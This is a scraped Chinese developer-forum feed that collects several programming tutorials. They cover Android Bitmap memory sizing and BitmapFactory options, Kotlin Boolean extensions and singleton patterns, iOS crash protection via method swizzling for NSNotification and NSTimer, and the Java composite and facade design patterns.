模拟器的 dpi 是 480,拿到了 dpi 为 320 的drawable-xhdpi文件夹下的图片,在系统的理解中该文件夹存放的都是小图标,是为小屏幕手机准备的,现在要在大屏幕手机上展示的话就需要对其进行放大,放大的比例就是 480 / 320 = 1.5 倍,因此 Bitmap 的宽就会变为 1920 * 1.5 = 2880 px,高就会变为 1080 * 1.5 = 1620 px,最终占用的内存空间大小就是 2880 * 1620 * 4 = 18662400


所以说,对于同一台手机,Bitmap 在不同 drawable 文件夹下对其最终占用的内存大小是有很大关系的,虽然计算公式没变,但是由于系统会进行自动缩放,Bitmap 的宽高都变为了原先的 1.5 倍,导致最终 Bitmap 的内存大小就变为了 8294400 * 1.5 * 1.5 = 18662400


同理,对于同个 drawable 文件夹下的同一张图片,在不同的手机屏幕上也可能会占用不同的内存空间,因为不同的手机的 dpi 大小可能是不一样的,BitmapFactory 进行缩放的比例也就不一样


4、和 ImageView 的宽高的关系


在上一个例子里,Bitmap 的宽高是 2880 * 1620 px,ImageView 的宽高是 540 * 540 px,该 Bitmap 肯定是会显示不全的,读者可以试着自己改变 ImageView 的宽高大小来验证是否会对 Bitmap 的大小产生影响


这里就不贴代码了,直接来说结论,答案是没有关系。原因也很简单,毕竟上述例子是先将 Bitmap 加载到内存中后再设置给 ImageView 的,ImageView 自然不会影响到 Bitmap 的加载过程,该 Bitmap 的大小只受其所在的 drawable 文件夹类型以及手机的 dpi 大小这两个因素的影响。但这个结论是需要考虑测试方式的,如果你是使用 Glide 来加载图片,Glide 内部实现了按需加载的机制,避免由于 Bitmap 过大而 ImageView 显示不全导致内存浪费的情况,这种情况下 ImageView 的宽高就会影响到 Bitmap 的内存大小了


5、BitmapFactory


BitmapFactory 提供了很多个方法用于加载 Bitmap 对象:decodeFile、decodeResourceStream、decodeResource、decodeByteArray、decodeStream 等多个,但只有 decodeResourceStreamdecodeResource 这两个方法才会根据 dpi 进行自动缩放


decodeResource 方法也会调用到decodeResourceStream方法,decodeResourceStream方法如果判断到inDensityinTargetDensity 两个属性外部没有主动赋值的话,就会根据实际情况进行赋值。如果是从磁盘或者 assert 目录加载图片的话是不会进行自动缩放的,毕竟这些来源也不具备 dpi 信息,Bitmap 的分辨率也只能保持其原有大小


	@Nullable
public static Bitmap decodeResourceStream(@Nullable Resources res, @Nullable TypedValue value,
@Nullable InputStream is, @Nullable Rect pad, @Nullable Options opts) {
validate(opts);
if (opts == null) {
opts = new Options();
}
if (opts.inDensity == 0 && value != null) {
final int density = value.density;
if (density == TypedValue.DENSITY_DEFAULT) {
//如果 density 没有赋值的话(等于0),那么就使用基准值 160 dpi
opts.inDensity = DisplayMetrics.DENSITY_DEFAULT;
} else if (density != TypedValue.DENSITY_NONE) {
//在这里进行赋值,density 就等于 drawable 对应的 dpi
opts.inDensity = density;
}
}
if (opts.inTargetDensity == 0 && res != null) {
//如果没有主动设置 inTargetDensity 的话,inTargetDensity 就等于设备的 dpi
opts.inTargetDensity = res.getDisplayMetrics().densityDpi;
}
return decodeStream(is, pad, opts);
}

6、Bitmap.Config


Bitmap.Config 定义了四种常见的编码格式,分别是:



  • ALPHA_8。每个像素点需要一个字节的内存,只存储位图的透明度,没有颜色信息

  • ARGB_4444。A(Alpha)、R(Red)、G(Green)、B(Blue)各占四位精度,共计十六位的精度,折合两个字节,也就是说一个像素点占两个字节的内存,会存储位图的透明度和颜色信息

  • ARGB_8888。ARGB 各占八个位的精度,折合四个字节,会存储位图的透明度和颜色信息

  • RGB_565。R占五位精度,G占六位精度,B占五位精度,一共是十六位精度,折合两个字节,只存储颜色信息,没有透明度信息


7、优化 Bitmap


根据 Bitmap 所占内存大小的计算公式:bitmapWidth * bitmapHeight * 单位像素点所占用的字节数,想要尽量减少 Bitmap 占用的内存大小的话就要从降低图片分辨率降低单位像素需要的字节数这两方面来考虑了


在一开始的情况下加载到的 Bitmap 的宽高是 1920 * 1080,占用的内存空间是 1920 * 1080 * 4 = 8294400,约 7.9 MB,这是优化前的状态


    val options = BitmapFactory.Options()
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)

BitmapMainActivity: bitmap width: 1920
BitmapMainActivity: bitmap height: 1080
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 8294400

1、inSampleSize


由于 ImageView 的宽高只有 540 * 540 px,此时 Bitmap 也只能在 ImageView 上显示为一个像素缩略图,如果进行原图加载的话其实会造成很大的内存浪费,此时我们就可以通过 inSampleSize 属性来压缩图片尺寸


例如,将 inSampleSize 设置为 2 后,Bitmap 的宽高就都会缩减为原先的一半,占用的内存空间就变成了原先的四分之一, 960 * 540 * 4 = 2073600,约 1.9 MB


    val options = BitmapFactory.Options()
options.inSampleSize = 2
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)

BitmapMainActivity: bitmap width: 960
BitmapMainActivity: bitmap height: 540
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 2073600

可以看到,inSampleSize 属性应该设置多少是需要根据 Bitmap 的实际宽高ImageView 的实际宽高这两个条件来一起决定的。我们在正式加载 Bitmap 前要先获取到 Bitmap 的实际宽高大小,这可以通过 inJustDecodeBounds 属性来实现。设置 inJustDecodeBounds 为 true 后 decodeResource方法只会去读取 Bitmap 的宽高属性而不会去进行实际加载,这个操作是比较轻量级的。然后通过每次循环对半折减,计算出 inSampleSize 需要设置为多少才能尽量接近到 ImageView 的实际宽高,之后将 inJustDecodeBounds 设置为 false 去实际加载 Bitmap


    val options = BitmapFactory.Options()
options.inJustDecodeBounds = true
BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
val inSampleSize = calculateInSampleSize(options, imageView.width, imageView.height)
options.inSampleSize = inSampleSize
options.inJustDecodeBounds = false
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)

fun calculateInSampleSize(options: BitmapFactory.Options, reqWidth: Int, reqHeight: Int): Int {
// Raw height and width of image
val (height: Int, width: Int) = options.run { outHeight to outWidth }
var inSampleSize = 1
if (height > reqHeight || width > reqWidth) {
val halfHeight: Int = height / 2
val halfWidth: Int = width / 2
// Calculate the largest inSampleSize value that is a power of 2 and keeps both
// height and width larger than the requested height and width.
while (halfHeight / inSampleSize >= reqHeight && halfWidth / inSampleSize >= reqWidth) {
inSampleSize *= 2
}
}
return inSampleSize
}

需要注意的是,inSampleSize 使用的最终值将是向下舍入为最接近的 2 的幂,BitmapFactory 内部会自动会该值进行校验修正


2、inTargetDensity


如果我们不主动设置 inTargetDensity 的话,decodeResource 方法会自动根据当前设备的 dpi 来对 Bitmap 进行缩放处理,我们可以通过主动设置 inTargetDensity 来控制缩放比例,从而控制 Bitmap 的最终宽高。最终宽高的生成规则: 180 / 480 * 1920 = 720,180 / 480 * 1080 = 405,占用的内存空间是 720 * 405 * 4 = 1166400,约 1.1 MB


    val options = BitmapFactory.Options()
options.inTargetDensity = 180
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)

BitmapMainActivity: bitmap width: 720
BitmapMainActivity: bitmap height: 405
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 1166400

3、Bitmap.Config


BitmapFactory 默认使用的编码图片格式是 ARGB_8888,每个像素点占用四个字节,我们可以按需改变要采用的图片格式。例如,如果要加载的 Bitmap 不包含透明通道的,我们可以使用 RGB_565,该格式每个像素点占用两个字节,占用的内存空间是 1920 * 1080 * 2 = 4147200,约 3.9 MB


    val options = BitmapFactory.Options()
options.inPreferredConfig = Bitmap.Config.RGB_565
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)

BitmapMainActivity: bitmap width: 1920
BitmapMainActivity: bitmap height: 1080
BitmapMainActivity: bitmap config: RGB_565
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 4147200

作者:业志陈
链接:https://juejin.cn/post/6952429810207424526
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

kotlin 扩展函数之Boolean扩展

Kotlin 扩展函数Kotlin 能够扩展一个类的新功能而无需继承该类或者使用像装饰者这样的设计模式,这样一来,可以为一个你不能修改的、来自第三方库中的类编写一个新的函数。 这个新增的函数就像那个原始类本来就有的函数一样,可以用普通的方法调用。我们在Andr...
继续阅读 »

kotlin 扩展函数之Boolean扩展

Kotlin 扩展函数

Kotlin 能够扩展一个类的新功能而无需继承该类或者使用像装饰者这样的设计模式,这样一来,可以为一个你不能修改的、来自第三方库中的类编写一个新的函数。 这个新增的函数就像那个原始类本来就有的函数一样,可以用普通的方法调用。我们在Android 开发中,对于Android 经常使用的API 都可以结合业务做扩展处理,处理之后即可达到某部分业务相关的API逻辑全盘使用。

比如对于Fragment中ViewMdoel 对象上下文转换的扩展

inline fun <reified T : ViewModel> Fragment.viewModel(
factory: ViewModelProvider.Factory,
body: T.() -> Unit
): T {
val vm = ViewModelProviders.of(this, factory)[T::class.java]
vm.body()
return vm
}
复制代码

今天对我们常用的基本数据类型Boolean进行一个扩展

目的: 能让我们在使用的过程中更加符合阅读的逻辑思维,更加简便,不使用if else(明文)表达式, 先上代码和测试用例:

代码:BooleanEtx.kt

package com.kpa.component.ui.extension

/**
* @author: kpa
* @time: 2021/4/17
* @email: billkp@yeah.net
**/


/**
* 数据
*/

sealed class BooleanExt<out T>

object Otherwise : BooleanExt<Nothing>()
class WithData<T>(val data: T) : BooleanExt<T>()

/**
* 判断条件为true 时执行block
*/

inline fun <T : Any> Boolean.yes(block: () -> T) =
when {
this -> {
WithData(block())
}
else -> {
Otherwise
}
}

/**
* 判断条件为false 时执行block
*
*/

inline fun <T> Boolean.no(block: () -> T) = when {
this -> Otherwise
else -> {
WithData(block())
}
}

/**
* 与判断条件互斥时执行block
*/

inline fun <T> BooleanExt<T>.otherwise(block: () -> T): T =
when (this) {
is Otherwise -> block()
is WithData -> this.data
}
复制代码

测试用例:

@Test
fun addition_isCorrect() {
true.yes {
// doSomething
}
false.no{
// doSomething
}
// 有返回值(条件为true)
val otherwise = getBoolean().yes {
2
}.otherwise {
1
}
assertEquals(otherwise, 2)
// 有返回值(条件为false)
val otherwise1 = false.no {
2
}.otherwise {
3
}
assertEquals(otherwise1, 2)
}


fun getBoolean() = true
复制代码

总结:

这样就能在工作中直接根据业务去写对应的逻辑了,并且使用了inline函数,所以在字节码层面我们还是if else 的,所以不需担心安全问题,简化了代码,唯一添加的开销就是创建数据返回类WithData,当然在我们开发中是可以忽略不计的。

收起阅读 »

Kotlin 单例模式的常用写法

饿汉式 object Singleton 复制代码 线程安全的懒汉式 class Singleton private constructor() { companion object { private var instance: S...
继续阅读 »

饿汉式


object Singleton
复制代码

线程安全的懒汉式


class Singleton private constructor() {

companion object {
private var instance: Singleton? = null
get() {
if (field == null) field = Singleton()
return field
}

@Synchronized
fun instance(): Singleton {
return instance!!
}
}
}
复制代码

双重校验锁式


class KtSingleton3 private constructor() {
companion object {
val instance by lazy { KtSingleton3() }
}
}
复制代码

Lazy 是接受一个 lambda 并返回一个 Lazy 实例的函数,返回的实例可以作为实现延迟属性的委托。第一次调用 get() 会执行已传递给 lazy()lambda 表达式并记录结果,后续调用 get() 只是返回记录的结果。Lazy 默认的线程模式就是 LazyThreadSafetyMode.SYNCHRONIZED 内部默认双重校验锁


Lazy内部实现


public fun <T> lazy(mode: LazyThreadSafetyMode, initializer: () -> T): Lazy<T> =
when (mode) {
LazyThreadSafetyMode.SYNCHRONIZED -> SynchronizedLazyImpl(initializer)
LazyThreadSafetyMode.PUBLICATION -> SafePublicationLazyImpl(initializer)
LazyThreadSafetyMode.NONE -> UnsafeLazyImpl(initializer)
}
复制代码

Lazy接口


public interface Lazy<out T> {
//当前实例化对象,一旦实例化后,该对象不会再改变
public val value: T
//返回true表示,已经延迟实例化过了,false 表示,没有被实例化,
//一旦方法返回true,该方法会一直返回true,且不会再继续实例化
public fun isInitialized(): Boolean
}
复制代码

SynchronizedLazyImpl


private class SynchronizedLazyImpl<out T>(initializer: () -> T, lock: Any? = null) : Lazy<T>, Serializable {
private var initializer: (() -> T)? = initializer
@Volatile private var _value: Any? = UNINITIALIZED_VALUE
// final field is required to enable safe publication of constructed instance
private val lock = lock ?: this

override val value: T
get() {
val _v1 = _value
//判断是否已经初始化过,如果初始化过直接返回,不在调用高级函数内部逻辑
if (_v1 !== UNINITIALIZED_VALUE) {
@Suppress("UNCHECKED_CAST")
return _v1 as T
}

return synchronized(lock) {
val _v2 = _value
if (_v2 !== UNINITIALIZED_VALUE) {
@Suppress("UNCHECKED_CAST") (_v2 as T)
}
else {
//调用高级函数获取其返回值
val typedValue = initializer!!()
//将返回值赋值给_value,用于下次判断时,直接返回高级函数的返回值
_value = typedValue
initializer = null
typedValue
}
}
}
//省略部分代码
}
复制代码

静态内部类式


class Singleton private constructor() {
companion object {
val instance = SingletonHolder.holder
}

private object SingletonHolder {
val holder = Singleton()
}
}
复制代码

枚举式


enum class Singleton {
INSTANCE;
}

作者:Quyunshuo
链接:https://juejin.cn/post/6952766742598778887
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

iOS --常见崩溃和防护(二)

接上一章。。。。。。。iOS9之前会crash,iOS9之后苹果系统已优化。在iOS9之后,即使开发者没有移除observer,Notification crash也不会再产生了。四、NSTimer Crash 防护产生的原因:NSTimer会 强引用 tar...
继续阅读 »

接上一章。。。。。。。

三、NSNotification Crash

产生的原因:
当一个对象添加了notification之后,如果dealloc的时候,仍然持有notification,就会出现NSNotification类型的crash。NSNotification类型的crash多产生于程序员写代码时候犯疏忽,在NSNotificationCenter添加一个对象为observer之后,忘记了在对象dealloc的时候移除它。

iOS9之前会crash,iOS9之后苹果系统已优化。在iOS9之后,即使开发者没有移除observer,Notification crash也不会再产生了。

解决方案:
NSNotification Crash的防护原理很简单, 利用method swizzling hook NSObject的dealloc函数,再对象真正dealloc之前先调用一下:[[NSNotificationCenter defaultCenter] removeObserver:self],即可。
#import 

/**
当一个对象添加了notification之后,如果dealloc的时候,仍然持有notification,就会出现NSNotification类型的crash。

iOS9之后专门针对于这种情况做了处理,所以在iOS9之后,即使开发者没有移除observer,Notification crash也不会再产生了
*/

NS_ASSUME_NONNULL_BEGIN

@interface NSObject (NSNotificationCrash)

+ (void)xz_enableNotificationProtector;

@end

NS_ASSUME_NONNULL_END
#import "NSObject+NSNotificationCrash.h"
#import "NSObject+XZSwizzle.h"
#import


static const char *isNSNotification = "isNSNotification";

@implementation NSObject (NSNotificationCrash)


+ (void)xz_enableNotificationProtector {

static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
NSObject *objc = [[NSObject alloc] init];

[objc xz_instanceSwizzleMethod:@selector(addObserver:selector:name:object:) replaceMethod:@selector(xz_addObserver:selector:name:object:)];

// 在ARC环境下不能显示的@selector dealloc。
[objc xz_instanceSwizzleMethod:NSSelectorFromString(@"dealloc") replaceMethod:NSSelectorFromString(@"xz_dealloc")];
});
}

- (void)xz_addObserver:(id)observer selector:(SEL)aSelector name:(nullable NSNotificationName)aName object:(nullable id)anObject {

// 添加标志位,在delloc中只有isNSNotification是YES,才会移除通知
[observer setIsNSNotification:YES];
[self xz_addObserver:observer selector:aSelector name:aName object:anObject];
}


- (void)setIsNSNotification:(BOOL)yesOrNo {
objc_setAssociatedObject(self, isNSNotification, @(yesOrNo), OBJC_ASSOCIATION_RETAIN_NONATOMIC);
}

- (BOOL)isNSNotification {
NSNumber *number = objc_getAssociatedObject(self, isNSNotification);;
return [number boolValue];
}

/**
如果一个对象从来没有添加过通知,那就不要remove操作
*/
- (void)xz_dealloc
{
if ([self isNSNotification]) {
NSLog(@"CrashProtector: %@ is dealloc,but NSNotificationCenter Also exsit",self);
[[NSNotificationCenter defaultCenter] removeObserver:self];
}

[self xz_dealloc];
}

@end

四、NSTimer Crash 防护

产生的原因:
NSTimer会 强引用 target实例,所以需要在合适的时机invalidate 定时器,否则就会由于定时器timer强引用target的关系导致 target不能被释放,造成内存泄露,甚至在定时任务触发时导致crash。与此同时,如果NSTimer是无限重复的执行一个任务的话,也有可能导致target的selector一直被重复调用且处于无效状态,对app的CPU,内存等性能方面均是没有必要的浪费。所以,很有必要设计出一种方案,可以有效的防护NSTimer的滥用问题。

解决方案:
定义一个抽象类,NSTimer实例强引用抽象类,而在抽象类中,弱引用target,这样target和NSTimer之间的关系也就是弱引用了,意味着target可以自由的释放,从而解决了循环引用的问题。

具体方式:
1、定义一个抽象类,抽象类中弱引用target。

#import 

NS_ASSUME_NONNULL_BEGIN

@interface XZProxy : NSProxy

+ (instancetype)proxyWithTarget:(id)target;

@end

NS_ASSUME_NONNULL_END
#import "XZProxy.h"


@interface XZProxy ()

/// 消息转发的对象
@property (nonatomic, weak) id target;

@end

@implementation XZProxy

+ (instancetype)proxyWithTarget:(id)target {
// NSProxy没有init方法, 只需要调用alloc创建对象即可
XZProxy *proxy = [XZProxy alloc];
proxy.target = target;
return proxy;
}

- (nullable NSMethodSignature *)methodSignatureForSelector:(SEL)sel {
return [self.target methodSignatureForSelector:sel];
}

- (void)forwardInvocation:(NSInvocation *)invocation {
[invocation invokeWithTarget:self.target];
}

@end

2、创建category,交换系统方法,实现NSTimer强引用抽象类。
ps:也可以不使用分类,不用交换方法,直接在创建timer实例的时候,将原本的target指向抽象类即可

#import 

NS_ASSUME_NONNULL_BEGIN

@interface NSObject (NSTimerCrash)

+ (void)xz_enableTimerProtector;

@end

NS_ASSUME_NONNULL_END
#import "NSObject+NSTimerCrash.h"
#import "NSObject+XZSwizzle.h"
#import "XZProxy.h"

@implementation NSObject (NSTimerCrash)


+ (void)xz_enableTimerProtector {

static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{

// 创建一个timer并把它指定到一个默认的runloop模式中,并且在 TimeInterval时间后 启动定时器
[NSTimer xz_classSwizzleMethod:@selector(scheduledTimerWithTimeInterval:target:selector:userInfo:repeats:) replaceMethod:@selector(xz_scheduledTimerWithTimeInterval:target:selector:userInfo:repeats:)];

// 创建一个定时器,但是么有添加到运行循环,我们需要在创建定时器后手动的调用 NSRunLoop 对象的 addTimer:forMode: 方法。
[NSTimer xz_classSwizzleMethod:@selector(timerWithTimeInterval:target:selector:userInfo:repeats:) replaceMethod:@selector(xz_timerWithTimeInterval:target:selector:userInfo:repeats:)];
});
}


+ (NSTimer *)xz_scheduledTimerWithTimeInterval:(NSTimeInterval)timeInterval target:(id)target selector:(SEL)selector userInfo:(id)userInfo repeats:(BOOL)repeats {

return [self xz_scheduledTimerWithTimeInterval:timeInterval target:[XZProxy proxyWithTarget:target] selector:selector userInfo:userInfo repeats:repeats];
}

+ (NSTimer *)xz_timerWithTimeInterval:(NSTimeInterval)timeInterval target:(id)target selector:(SEL)aSelector userInfo:(nullable id)userInfo repeats:(BOOL)yesOrNo {

return [self xz_timerWithTimeInterval:timeInterval target:[XZProxy proxyWithTarget:target] selector:aSelector userInfo:userInfo repeats:yesOrNo];
}

@end


摘自链接:https://www.jianshu.com/p/3324786893a1

收起阅读 »

java 设计模式:组合模式

1、概念将对象以树形结构组织起来,以达成“部分-整体”的层次机构,使得客户端对单个对象和组合对象的使用具有一致性。是用于把一组相似的对象当作一个单一的对象。组合模式依据树形结构来组合对象,用来表示部分以及整体层次。这种类型的设计模式属于结构型模式,它创建了对象...
继续阅读 »

1、概念

将对象以树形结构组织起来,以达成“部分-整体”的层次机构,使得客户端对单个对象和组合对象的使用具有一致性。

是用于把一组相似的对象当作一个单一的对象。组合模式依据树形结构来组合对象,用来表示部分以及整体层次。这种类型的设计模式属于结构型模式,它创建了对象组的树形结构。

这种模式创建了一个包含自己对象组的类。该类提供了修改相同对象组的方式。

2、使用场景

部分、整体场景,如树形菜单,文件、文件夹的管理。

  1. 需要表示一个对象整体或部分层次
  2. 希望用户忽略组合对象与单个对象的不同,用户将统一地使用组合结构中的所有对象。

3、如何使用

树枝和叶子实现统一接口,树枝内部组合该接口。

4、UML结构图分析

5、实际代码分析

例:文件与文件夹的关系

先进行普通的实现方式

//文件类
public class File {
public String name;

public File(String name) {
this.name = name;
}

/**
* 操作方法
* @return
*/
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public void watch() {
System.out.println("文件名"+getName()+"文件数目");
}
}
//文件夹类
public class Folder{
public String name;

private List<File> mFileList;
public Folder(String name) {
mFileList = new ArrayList<>();
this.name = name;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public void watch() {
StringBuilder sb = new StringBuilder();
for(File f:mFileList){
sb.append(f.name);
}
System.out.println("文件名"+getName()+"文件数目"+ mFileList.size()+"名字"+sb.toString());
}

public void add(File file) {
mFileList.add(file);
}

public void remove(File file) {
mFileList.remove(file);
}

public File getChild(int pos) {
return mFileList.get(pos);
}
}
//运行
File file = new File("hehe");
Folder folder = new Folder("heere");
folder.add(file);
folder.watch();

文件和文件夹作为两个类来进行操作,将文件类进行添加文件,但是呢?如果文件夹下添加文件夹该咋办呢?就需要再创建一个list来存放文件夹,这样大家都是节点,为啥搞得这么复杂呢?既然存在上下级节点的问题,咱们就抽象为一个抽象类,用抽象类作为节点,子类就是文件夹和文件。

//将文件与文件夹统一看作是一类节点,做一个抽象类来定义这种节点,然后以其实现类来区分文件与目录,在实现类中分别定义各自的具体实现内容,把组合方法写到这个节点类中
public abstract class File {

public String name;

public File(String name) {
this.name = name;
}

/**
* 操作方法
* @return
*/
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public abstract void watch();

/**
* 组合方法
* @param file
*/
public void add(File file){
throw new UnsupportedOperationException();
}

public void remove(File file){
throw new UnsupportedOperationException();
}

public File getChild(int pos){
throw new UnsupportedOperationException();
}

}
public class Folder extends File{

private List<File> mFileList;
public Folder(String name) {
super(name);
mFileList = new ArrayList<>();
}

@Override
public void watch() {
StringBuilder sb = new StringBuilder();
for(File f:mFileList){
sb.append(f.name);
}
System.out.println("文件名"+getName()+"文件数目"+ mFileList.size()+"名字"+sb.toString());
}

@Override
public void add(File file) {
mFileList.add(file);
}

@Override
public void remove(File file) {
mFileList.remove(file);
}

@Override
public File getChild(int pos) {
return mFileList.get(pos);
}
}
public class TestFile extends File {
public TestFile(String name) {
super(name);
}

@Override
public void watch() {
System.out.println("文件名"+getName()+"文件数目");
}
}
//运行
TestFile file = new TestFile("hehe");
Folder folder = new Folder("heere");
folder.add(file);
folder.watch();
folder.getChild(0).watch();

这种组合模式正是应树形结构而生,所以组合模式的使用场景就是出现树形结构的地方。比如:文件目录显示,多及目录呈现等树形结构数据的操作。

安全组合模式(简化)如下code

//将文件与文件夹统一看作是一类节点,做一个抽象类来定义这种节点,然后以其实现类来区分文件与目录,在实现类中分别定义各自的具体实现内容,把组合方法写到这个节点类中
public abstract class File {

public String name;

public File(String name) {
this.name = name;
}

/**
* 操作方法
* @return
*/
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public abstract void watch();


}
public class Folder extends File{

private List<File> mFileList;
public Folder(String name) {
super(name);
mFileList = new ArrayList<>();
}

@Override
public void watch() {
StringBuilder sb = new StringBuilder();
for(File f:mFileList){
sb.append(f.name);
}
System.out.println("文件名"+getName()+"文件数目"+ mFileList.size()+"名字"+sb.toString());
}

public void add(File file) {
mFileList.add(file);
}

public void remove(File file) {
mFileList.remove(file);
}

public File getChild(int pos) {
return mFileList.get(pos);
}
}
public class TestFile extends File {
public TestFile(String name) {
super(name);
}

@Override
public void watch() {
System.out.println("文件名"+getName()+"文件数目");
}
}
//运行
TestFile file = new TestFile("hehe");
Folder folder = new Folder("heere");
folder.add(file);
folder.watch();
folder.getChild(0).watch();

安全组合模式分工就很明确了。它还有一个好处就是当我们add/remove的时候,我们能知道具体的类是什么了,而透明组合模式就得在运行时去判断,比较麻烦。

优点:

  1. 高层模块调用简单
  2. 节点自由增加

缺点:

  1. 在使用组合模式时,其叶子和树枝的声明都是实现类,而不是接口,违反了依赖倒置原则。
  2. 叶子类型不能控制。比如我想控制ViewGroup添加的View必须为TextView的时候,约束起来就很麻烦。特别是类型多的时候。
收起阅读 »

java 设计模式:外观设计模式

1、概念外观设计模式的主要目的在于让外部减少与子系统内部多个模块的交互,从而让外部能够更简单的使用子系统。他负责把客户端的请求转发给子系统内部的各个模块进行处理。2、使用场景当你要为一个复杂子系统提供一个简单接口时客户程序与抽象类的实现部分之间存在很大的依赖性...
继续阅读 »

1、概念

外观设计模式的主要目的在于让外部减少与子系统内部多个模块的交互,从而让外部能够更简单的使用子系统。他负责把客户端的请求转发给子系统内部的各个模块进行处理。

2、使用场景

  1. 当你要为一个复杂子系统提供一个简单接口时
  2. 客户程序与抽象类的实现部分之间存在很大的依赖性。引入外观类可以将子系统与客户端解耦,从而提高子系统的独立性和可移植性。
  3. 当你需要构建一个层次结构的子系统时; 在层次化结构中,可以使用外观模式定义系统中每一层的入口,层与层之间不直接产生联系,而通过外观类建立联系,降低层之间的耦合度。

3、UML结构图分析

4、实际代码分析


/**
* 模块A
*/
public class SubSystemA {

public void testFunA(){
System.out.println("testFunA");
}

}
/**
* 模块B
*/
public class SubSystemB {
public void testFunB(){
System.out.println("testFunB");
}
}
/**
* 模块C
*/
public class SubSystemC {
public void testFunC(){
System.out.println("testFunC");
}
}
/**
* Facade
*/
public class Facade {

private SubSystemA subSystemA;
private SubSystemB subSystemB;
private SubSystemC subSystemC;
private Facade(){
subSystemA = new SubSystemA();
subSystemB = new SubSystemB();
subSystemC = new SubSystemC();
}

private static Facade instance;

public static Facade getInstance(){
if(instance==null){
instance = new Facade();
}
return instance;
}

public void tastOperation(){
subSystemA.testFunA();
subSystemB.testFunB();
subSystemC.testFunC();
}
}

//运行
Facade.getInstance().tastOperation();

由于外观类维持了对多个子系统类的引用,外观对象在系统运行时将占用较多的系统资源,因此需要对外观对象的数量进行限制,避免系统资源的浪费。可以结合单例模式对外观类进行改进,将外观类设计为一个单例类。通过对外观模式单例化,可以确保系统中只有唯一一个访问子系统的入口,降低系统资源的消耗。

我在项目中的实践:

在项目中经常会出现,网络请求,缓存本地,本地有缓存用本地缓存,而且网络请求经常会在多个地方调用,如果不采用外观模式设计,则会出现客户端的代码异常复杂,而且不利于维护。于是我就进行了如下改变,建立中间仓库类来进行数据切换,客户端只需要进行对仓库数据进行调用,不用关心仓库里数据怎样生成的。

/**
* 建立仓库接口类
* TestApiDataSource
*/
public interface TestApiDataSource {


/**
* 登陆接口
* @param params
* @return
*/
Observable<GetLoginResponse> getLogin(GetLoginParams params);
}
/**
* 建立本地数据源(主要是为了方便客户端调用)
* TestApiLocalDataSource
*/
public class TestApiLocalDataSource extends BaseLocalDataSource implements TestApiDataSource {


@Override
public Observable<GetLoginResponse> getLogin(GetLoginParams params) {

Observable<GetLoginResponse> observable = Observable.create(new ObservableOnSubscribe<GetLoginResponse>() {
@Override
public void subscribe(ObservableEmitter<GetLoginResponse> subscriber) throws Exception {
subscriber.onComplete();

}
});
return observable;
}

}

/**
* 建立网络数据源
* TestApiRemoteDataSource
*/
public class TestApiRemoteDataSource extends BaseRemoteDataSource implements TestApiDataSource {

/**
*
* 请求网络
* @param params
* @return
*/
@Override
public Observable<GetLoginResponse> getLogin(GetLoginParams params) {
return ApiSource.getApiService(AppHuanJingFactory.getAppModel().getApi()).getApi2Service().getLogin(params);
}

}

/**
* 建立单例仓库类
* TestApiRepository
*/
public class TestApiRepository extends BaseRepository<TestApiLocalDataSource,TestApiRemoteDataSource> implements TestApiDataSource {

public static volatile TestApiRepository instance;


public static TestApiRepository getInstance(){
if(instance==null){
synchronized (TestApiRepository.class){
if(instance==null){
instance = new TestApiRepository(new TestApiLocalDataSource(),new TestApiRemoteDataSource());
}
}
}
return instance;
}

protected TestApiRepository(TestApiLocalDataSource localDataSource, TestApiRemoteDataSource remoteDataSource) {
super(localDataSource, remoteDataSource);
}


/**
* 数据源切换
* #getLogin#
* @param params
* @return
*/
@Override
public Observable<GetLoginResponse> getLogin(GetLoginParams params) {
Observable<GetLoginResponse> observable = Observable.
concat(localDataSource.getLogin(params),
remoteDataSource.getLogin(params).
doOnNext(new Consumer<GetLoginResponse>() {
@Override
public void accept(GetLoginResponse response) throws Exception {
/**
* cache
*/
}
})).compose(RxTransformerHelper.<GetLoginResponse>ioToUI()).firstOrError().toObservable();
return observable;
}


}
//客户端执行,不需要考虑具体实现
